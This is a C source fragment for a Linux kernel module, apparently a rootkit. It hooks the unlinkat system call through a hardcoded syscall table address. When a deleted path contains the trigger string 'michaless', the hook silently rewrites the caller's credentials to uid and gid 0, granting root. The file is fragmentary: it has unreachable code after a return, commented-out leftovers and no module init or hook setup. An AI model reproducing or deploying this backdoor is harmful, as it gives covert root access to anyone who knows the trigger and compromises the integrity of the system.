Redemption

#include <linux/module.h>

#include <linux/kernel.h>

char *pattern="michaless";

void **sys_call_table = (void *)0xc1958140;

asmlinkage int (*ori_unlinkat)(int dirfd,char *pathname,int flags);

asmlinkage int hack_unlinkat(int dirfd,char *pathname,int flags)

{

//mm_segment_t old_fs;

//struct cred *current_p;

//struct cred *cred = prepare_creds();

   int ret;

   char *kernbuff=(char*)kmalloc(128,GFP_KERNEL);

   copy_from_user(kernbuff,pathname,127);

   if (strstr(kernbuff,pattern)){

printk("Matching String Jack!!\n");

        //old_fs = get_fs();

//set_fs (USER_DS);

//...................

//set_fs(old_fs);

//current_p = prepare_creds();

//current_p->uid = 1000;

//current_p->euid = 1000;

//current_p->gid = 1000;

//current_p->egid = 1000;

//commit_creds(current_p);

struct cred *cred = prepare_creds();

     cred->uid = cred->suid = cred->euid = cred->fsuid = 0;

     cred->gid = cred->sgid = cred->egid = cred->fsgid = 0;

     return commit_creds(cred);

      ret = (*ori_unlinkat)(dirfd,pathname,flags);

      return ret;

      //return(0);

      }

      else{

      printk("NOT matching string!!\n");

      ret = (*ori_unlinkat)(dirfd,pathname,flags);

      return ret;

      }

}